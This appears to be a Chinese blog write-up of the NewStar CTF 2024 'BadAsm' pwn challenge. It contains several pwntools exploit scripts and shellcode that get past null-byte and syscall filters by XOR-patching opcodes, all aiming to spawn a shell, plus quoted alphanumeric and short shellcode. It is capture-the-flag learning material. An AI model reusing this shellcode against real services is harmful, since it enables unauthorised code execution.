Week2_BadAsm

Week2_BadAsm

{49CEADF7-3C41-4445-9CCB-0992565877CA}

逆向分析

  • read写入buf,复制到dest进行执行
    • read遇到\x00中断
    • 同时限制了syscall/sysenter/int 0x80的出现

{DEBB9696-7A3F-4378-8524-53ACF95D1EE9}

尝试执行

{5AD06945-F9F8-42AC-8558-C866D6788BBE}

出现栈溢出报错,分段故障

调试一下

exec函数除了rdi,rsi寄存器都置零了

{205C4DFF-15DD-4644-B364-151551057698}

{F149541E-D9E5-49A3-A762-3ABFC4683BE9}

解题思路

直接shellcraft不仅会出现\x00而且会有syscall导致特判不通过

  • 写入不含\x00的shellcode

  • 绕过syscall\sysenter\int 0x80检查,后面两种32位使用(64位没能实操成功)

    • 采用可见字符shellcode,利用异或运算,输入进去的可见字符异或成不可见字符构造shellcode,绕过判断后调用shellcode时异或回来

    • rdi指向shellcode,根据rdi寻址,找到syscall被异或的位置

    • mov al,0x6
      xor [rdi+0x26],rax
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49

      syscall 写成`\x0f\x03``0x6`异或成`0x5`,可正常执行

      al也是避免出现`\x00`

      直接使用shellcraft.sh()

      ![Snipaste_2024-11-15_19-24-50](https://sh1j1.github.io/img/NewStar/BadAsm.assets/Snipaste_2024-11-15_19-24-50.png)

      执行代码的函数,将所有RDIRSI以外寄存器都置零了,rbp,rsp被清零导致,pushpop不能用,在执行shellcode之前想办法分配rbprsp可写的区域

      ### exp

      基于syscall的execve("/bin/sh",0,0)

      ```py
      from pwn import *
      context(log_level = 'debug',arch = 'amd64')
      flag = 0
      if flag:
      p = remote('192.168.65.1', 9999)
      else:
      p = process("./pwn")

      def sa(s, n): return p.sendafter(s, n)
      def sla(s, n): return p.sendlineafter(s, n)
      def sl(s): return p.sendline(s)
      def sd(s): return p.send(s)
      def rc(n): return p.recv(n)
      def ru(s): return p.recvuntil(s)
      def ti(): return p.interactive()

      shellcode = '''
      mov r8,rdi
      mov rsp,rdi
      add sp,0x848
      push 0x68
      mov rax,0x732f2f2f6e69622f
      push rax
      mov rdi,rsp
      xor rsi,rsi
      xor rdx,rdx
      xor rax,rax
      mov al,59
      mov byte ptr [r8+0x30],0x0f
      mov byte ptr [r8+0x31],0x05
      '''
      sla(b'Code : ',asm(shellcode))
      ti()
  • 0x848换成0x80,rsp分配空间小于0x100时,出现\x00

{BF177EF9-512D-43B1-8445-65D6BE56F728}

  • add sp,0x848换成add rsp,0x848,至少需要填充两字节

{24FEE7F3-102E-42BC-A90C-9E5852306ABF}

  • mov rax,0x732f2f2f6e69622f ,push rax换成push 0x732f2f2f6e69622f,出现报错
    • x86-64 架构下,push 指令只能处理 32 位(4 字节)的立即数值(push imm32

Snipaste_2024-11-18_16-51-45

寄存器压栈{409F61FB-01AA-41D3-8C15-17F0A0236E95}

两次push压栈{9F8F6FBF-FB63-4DB2-B294-8CC4B6BA67FE}

参考

工具分析

机器码转换成汇编代码

Online Assembler and Disassembler

官方wp分析

BadAsm | WriteUp - NewStar CTF 2024

  • 异或调用read,输入shellcraft.sh(),在read后面执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

ELFpath = ('./pwn')
#p=remote('???.???.???.???', ?????)
p=process('./pwn')
# p=process(ELFpath)
# gdb.attach(p)

shellcode='''
; // 目标: 使用 syscall 执行 read(0, code, 0x3fff)
mov rsp, rdi
mov rax, rdi
add sp, 0x0848 ; // 从开头到这里的作用是给 rsp 一个合法值,使 push/pop 指令能够正常执行。同时设置 rax 的值方便后面往当前 shellcode 末尾拼接上 syscall 指令的机器码。

mov rsi,rdi
mov dx, 0x3fff ; // 这两行作用是设置 rsi rdx 寄存器

mov cx, 0x454f
xor cx, 0x4040 ; // 这两行作用是用异或搓出来 0f 05 (syscall 的机器码)
add al, 0x40
mov [rax], cx ; // rax原本指向的是当前段的开始位置,加上一个偏移,在之后指向的地方写入 0f 05,即 syscall,相当于拼接到当前 shellcode 后面。

xor rdi, rdi
xor rax, rax ; // 设置 read 的系统调用号 0,设置 rdi 寄存器
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90')) # \x90是nop指令的机器码,用于连接上面的shellcode和写入的syscall,使程序能正常执行。

pause()
p.send(b'a'*0x42+asm(shellcraft.sh())) # 0x42个a正好覆盖了syscall,之后拼接新的shellcode会继续执行本次写入的新的shellcode
p.interactive()
  • 通过异或将/bin/sh\x00写入,然后设置rax,调用execve执行execve(“/bin/sh”,0,0)
    • {1FF3891E-29FF-4C3D-A504-7F47D38CF032}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
; //输入参数
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop,任意一个可读写段即可,我们这里刚好有rdi中存储的 shellcode 的段的起始位置,正好这个段有读写权限,就直接拿来在 0x848 偏移的位置当作栈顶了(加偏移是为了防止某些操作破坏写入的 shellcode)
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040;//让/bin/sh\x00异或一遍这个,在异或一遍就还原了
xor rsi, rdx
push rsi ; // 异或搓出来'/bin/sh\x00'(正好 8 字节,一个寄存器能存下) 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置
; //设置
mov ax, 0x454f
xor ax, 0x4040
mov rsi, rdi ; //rdi指向shellcode起始位置,后移0x40拼在最后面
add rsi, 0x40
mov [rsi], ax ; // 搓出来 syscall 的机器码 0f 05 并且拼接到当前 shellcode 后面。

mov rdi, rsp ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; // 设置 execve 的系统调用号
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90'))
  • 设置好寄存器的传参,将syscall放入可执行段中,这里是栈中,通过jump rsp执行syscall
    • 不需要nop指令链接,发送payload可以去掉ljust了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; // 异或搓出来 '/bin/sh\x00' 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置

mov rdi, rsp ; // 设置 rdi,指向之前push到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; //设置 execve 的系统调用号

mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp
'''
p.sendafter("Input your Code :", asm(shellcode))

除了使用异或方式去除/bin/sh\x00后面的\x00,还可改为/bin///sh,shellcraft.sh()采用这种方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
shellcode='''
;//目标:执行execve("/bin///sh",0,0)
mov rsp,rdi
add sp,0x0848 ;//给rsp一个合法值,使程序能正常执行push/pop

push 0x68
mov rax,0x732f2f2f6e69622f
push rax ;//将'/bin///sh'push到栈上面,最后一个字符使第六行push的,高位默认填充为0,此时就不用异或了

mov rdi, rsp ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; // 设置 execve 的系统调用号

mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp
'''

使用mov byte ptr [r8+0x17],0xf mov byte ptr [r8+0x18],0x5 使用汇编指令写入到内存中,拆开0xf 0x5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
shellcode = '''
mov r8,rdi
mov rsp,rdi
add sp,0x0848
push 0x68
mov rax,0x732f2f2f6e69622f
push rax
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
xor rax,rax
mov al,59
mov byte ptr [r8+0x30],0xf
mov byte ptr [r8+0x31],0x5
'''
p.sendlineafter(b'Code : ',asm(shellcode))

查看写多少位,可以直接通过exp的debug信息,查看多少字节{838FD9F9-95AB-4C11-90D3-B4C6D35D484B}

{01814C09-AFCD-4335-80C7-25B413A9663E}

wp1

[NewStar 2024] week2_2024-newstarctf-week2-CSDN博客

调用read输入shellcraft

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch='amd64', log_level='debug')

p = remote('39.106.48.123', 34301)

shellcode = '''
mov rsp,rsi;
add rsp,0x70;
push rdi;pop rsi;
xor rdi,rdi;
push 0x70; pop rdx;
push 0x17; pop rbx;
xor byte ptr[rsi+rbx],0x40
'''
shellcode = asm(shellcode)+b'\x0f\x45'
p.sendlineafter(b"Input your Code : \n", shellcode)

sleep(0.5)
p.send(b'\x90'*0x20+ asm(shellcraft.sh()))
p.interactive()

汇编的;会注释后面的代码,计算机器码的时候注意

{5C293AE0-A62A-4669-8356-90AF133643D1}

wp2

放着了解一下,可见shellcode与超短shellcode

禁用syscall的shellcode | Mr.BW的妙妙屋

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import pack
context(log_level='debug',arch='amd64',os='linux')

libc=ELF('/home/mrbw/Desktop/pwn_tools/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
libc=ELF('./libc.so.6')
e=ELF('./asm')
r=process('./asm')
#r=remote('39.106.48.123', 28643)
s = lambda content : r.send(content)
sl = lambda content : r.sendline(content)
sa = lambda content,send : r.sendafter(content, send)
sla = lambda content,send : r.sendlineafter(content, send)
rc = lambda number : r.recv(number)
ru = lambda content : r.recvuntil(content)
ru("Input your Code : \n")
gdb.attach(r,'b exec')
payload=asm('''
mov rsp,rsi
add rsp,0x50
add rsp,0x50
mov al,0x6
xor [rdi+0x26],rax

''')
#payload+=b"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA"
#payload+=b"PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx"
payload+=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x03'
print(payload)
s(payload)
r.interactive()

辅助

超短shellcode出处

CTF-PWN-ret2shellcode全解_ret2 ctf-CSDN博客

1
2
3
4
5
6
7
8
9
0x00:  48 31 F6                         xor     rsi, rsi
0x03: 56 push rsi
0x04: 48 BF 2F 62 69 6E 2F 2F 73 68 movabs rdi, 0x68732f2f6e69622f
0x0e: 57 push rdi
0x0f: 54 push rsp
0x10: 5F pop rdi
0x11: B0 3B mov al, 0x3b
0x13: 99 cdq
0x14: 0F 05 syscall

另外两种可见shellcode出处,全部转换成可见字符

全是可见字符的shellcode | Introspelliam

第一个64位的,第二个32位的

PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA

505949494949494949494949515A5654583330565834415030413348483041303041424141425441415132414232424230424258503841434A4A49524A544B56384D49505232465538364D33534C495A473248364F3433535833303538364F43524359424E4C494D3351424B584448533043304550564F45323249424E464F334342483550305751434B394B51584D4B304141

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
0x00:  50                                  push rax
0x01: 59 pop rcx
0x02: 49 49 49 49 49 49 49 49 49 49 51 push r9
0x0d: 5A pop rdx
0x0e: 56 push rsi
0x0f: 54 push rsp
0x10: 58 pop rax
0x11: 33 30 xor esi, dword ptr [rax]
0x13: 56 push rsi
0x14: 58 pop rax
0x15: 34 41 xor al, 0x41
0x17: 50 push rax
0x18: 30 41 33 xor byte ptr [rcx + 0x33], al
0x1b: 48 48 30 41 30 xor byte ptr [rcx + 0x30], al
0x20: 30 41 42 xor byte ptr [rcx + 0x42], al
0x23: 41 41 42 54 push rsp
0x27: 41 41 51 push r9
0x2a: 32 41 42 xor al, byte ptr [rcx + 0x42]
0x2d: 32 42 42 xor al, byte ptr [rdx + 0x42]
0x30: 30 42 42 xor byte ptr [rdx + 0x42], al
0x33: 58 pop rax
0x34: 50 push rax
0x35: 38 41 43 cmp byte ptr [rcx + 0x43], al
0x38: 4A 4A 49 52 push r10
0x3c: 4A 54 push rsp
0x3e: 4B 56 push r14
0x40: 38 4D 49 cmp byte ptr [rbp + 0x49], cl
0x43: 50 push rax
0x44: 52 push rdx
0x45: 32 46 55 xor al, byte ptr [rsi + 0x55]
0x48: 38 36 cmp byte ptr [rsi], dh
0x4a: 4D 33 53 4C xor r10, qword ptr [r11 + 0x4c]
0x4e: 49 5A pop r10
0x50: 47 32 48 36 xor r9b, byte ptr [r8 + 0x36]
0x54: 4F 34 33 xor al, 0x33
0x57: 53 push rbx
0x58: 58 pop rax
0x59: 33 30 xor esi, dword ptr [rax]
0x5b: 35 38 36 4F 43 xor eax, 0x434f3638
0x60: 52 push rdx
0x61: 43 59 pop r9
0x63: 42 4E 4C 49 4D 33 51 42 xor r10, qword ptr [r9 + 0x42]
0x6b: 4B 58 pop r8
0x6d: 44 48 53 push rbx
0x70: 30 43 30 xor byte ptr [rbx + 0x30], al
0x73: 45 50 push r8
0x75: 56 push rsi
0x76: 4F 45 32 32 xor r14b, byte ptr [r10]
0x7a: 49 42 4E 46 4F 33 43 42 xor r8, qword ptr [r11 + 0x42]
0x82: 48 35 50 30 57 51 xor rax, 0x51573050
0x88: 43 4B 39 4B 51 cmp qword ptr [r11 + 0x51], rcx
0x8d: 58 pop rax
0x8e: 4D 4B 30 41 41 xor byte ptr [r9 + 0x41], al

PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx

50596A30583430505050505150614A525834446A3059494949494930444E3052583530324130357239734F5054593031413031525835303044303563465A42505459303153583534304430355A4658625054594130314130315358353041303035586E52595053583541413030356E6E4358505358354141303035706C62585054594130315478

测试发现这是32位的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
0x00:  50                push  eax
0x01: 59 pop ecx
0x02: 6A 30 push 0x30
0x04: 58 pop eax
0x05: 34 30 xor al, 0x30
0x07: 50 push eax
0x08: 50 push eax
0x09: 50 push eax
0x0a: 50 push eax
0x0b: 51 push ecx
0x0c: 50 push eax
0x0d: 61 popal
0x0e: 4A dec edx
0x0f: 52 push edx
0x10: 58 pop eax
0x11: 34 44 xor al, 0x44
0x13: 6A 30 push 0x30
0x15: 59 pop ecx
0x16: 49 dec ecx
0x17: 49 dec ecx
0x18: 49 dec ecx
0x19: 49 dec ecx
0x1a: 49 dec ecx
0x1b: 30 44 4E 30 xor byte ptr [esi + ecx*2 + 0x30], al
0x1f: 52 push edx
0x20: 58 pop eax
0x21: 35 30 32 41 30 xor eax, 0x30413230
0x26: 35 72 39 73 4F xor eax, 0x4f733972
0x2b: 50 push eax
0x2c: 54 push esp
0x2d: 59 pop ecx
0x2e: 30 31 xor byte ptr [ecx], dh
0x30: 41 inc ecx
0x31: 30 31 xor byte ptr [ecx], dh
0x33: 52 push edx
0x34: 58 pop eax
0x35: 35 30 30 44 30 xor eax, 0x30443030
0x3a: 35 63 46 5A 42 xor eax, 0x425a4663
0x3f: 50 push eax
0x40: 54 push esp
0x41: 59 pop ecx
0x42: 30 31 xor byte ptr [ecx], dh
0x44: 53 push ebx
0x45: 58 pop eax
0x46: 35 34 30 44 30 xor eax, 0x30443034
0x4b: 35 5A 46 58 62 xor eax, 0x6258465a
0x50: 50 push eax
0x51: 54 push esp
0x52: 59 pop ecx
0x53: 41 inc ecx
0x54: 30 31 xor byte ptr [ecx], dh
0x56: 41 inc ecx
0x57: 30 31 xor byte ptr [ecx], dh
0x59: 53 push ebx
0x5a: 58 pop eax
0x5b: 35 30 41 30 30 xor eax, 0x30304130
0x60: 35 58 6E 52 59 xor eax, 0x59526e58
0x65: 50 push eax
0x66: 53 push ebx
0x67: 58 pop eax
0x68: 35 41 41 30 30 xor eax, 0x30304141
0x6d: 35 6E 6E 43 58 xor eax, 0x58436e6e
0x72: 50 push eax
0x73: 53 push ebx
0x74: 58 pop eax
0x75: 35 41 41 30 30 xor eax, 0x30304141
0x7a: 35 70 6C 62 58 xor eax, 0x58626c70
0x7f: 50 push eax
0x80: 54 push esp
0x81: 59 pop ecx
0x82: 41 inc ecx
0x83: 30 31 xor byte ptr [ecx], dh
0x85: 54 push esp

Week2_BadAsm
http://sh1j1.github.io/2024/11/18/Week2-BadAsm/
作者
sh1j1
发布于
2024年11月18日
许可协议